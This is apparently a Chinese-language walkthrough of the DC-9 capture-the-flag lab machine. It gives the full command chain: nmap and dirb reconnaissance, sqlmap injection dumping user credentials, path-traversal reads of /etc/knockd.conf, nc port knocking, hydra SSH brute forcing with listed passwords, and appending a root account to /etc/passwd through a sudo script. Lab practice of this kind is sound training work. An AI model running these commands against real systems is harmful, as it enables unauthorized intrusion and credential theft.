DC-9靶機滲透詳解

查看dc-9的mac地址

sudo arp-scan -l

找出dc-9的IP地址

sudo nmap -A -p- 10.9.11.26

掃描dc-9端口

訪問80端口

查看wappalyzer

dirb http://10.9.11.26/

掃描目錄

進入css

點擊style.css

進另一個目錄includes

dirb效果不太好,使用dirmap。

訪問http://10.9.11.26/display.php

訪問http://10.9.11.26/manage.php

訪問http://10.9.11.26/search.php

輸入一個數字嘗試

總是轉到results.php,抓包嘗試

經過嘗試,存在注入

把請求存成一個文檔,使用sqlmap

sudo sqlmap -r 1.txt --dbs

sudo sqlmap -r 1.txt --current-db

sudo sqlmap -r 1.txt -D Staff --tables

sudo sqlmap -r 1.txt -D Staff -T Users --columns

sudo sqlmap -r 1.txt -D Staff -T Users -C Username,Password --dump

admin:transorbital1登錄

瀏覽頁面,發現welcome、manage、addrecord都有可能存在文件包含漏洞

選擇manage.php進行嘗試文件包含漏洞,成功

用戶名總結

root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
listirc
gnats
nobody
_apt
systemd-timesync
systemd-network
systemd-resolve
messagebus
sshd
systemd-coredump
mysql
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

knockd.conf是一種端口試探服務器工具。它偵聽以太網或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客戶軟件通過向服務器上的端口發送TCP或數據包來啓動端口命中,也可以直接用nc敲擊端口。

嘗試是否存在

訪問http://10.9.11.26/welcome.php?file=../../../../etc/knockd.conf

經過百度,進行敲門

sudo nc 10.9.11.26 7469

sudo nc 10.9.11.26 8475

sudo nc 10.9.11.26 9842

nmap查看ssh 22端口開了沒

已得到了所有用戶,嘗試爆破

sudo hydra -L use.txt -P passwd.txt ssh://10.9.11.26 -t 32

按順序先選擇fredf登錄B4-Tru3-001

ssh [email protected]

查看sudo -l成功

選擇chandlerb登錄UrAG0D!

ssh [email protected]

查看sudo -l失敗

選擇joeyt登錄Passw0rd

ssh [email protected]

查看sudo -l失敗

選擇janitor登錄Ilovepeepee

ssh [email protected]

查看sudo -l失敗

經過四個賬戶的查詢發現只有fredf有一定權限

cd /opt/devstuff/dist/test/

ls -al

執行

find / -name "test.py" 2>/dev/null

cd /opt/devstuff/

cat test.py

#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
​
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

加密一個密碼

perl -le 'print crypt("123456","salt")'

構造一個賬戶輸入到tmp中的passwd

echo "xyt:sahL5d5V.UWtI:0:0:xyt:/root:/bin/bash" >>/tmp/passwd

使用test將賬戶寫入/etc/passwd中

sudo ./test /tmp/passwd /etc/passwd

切換賬戶拿到root權限

注:本篇文章屬於原創,如有轉發,請標明來源,歡迎各位童鞋參考,謝謝合作。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章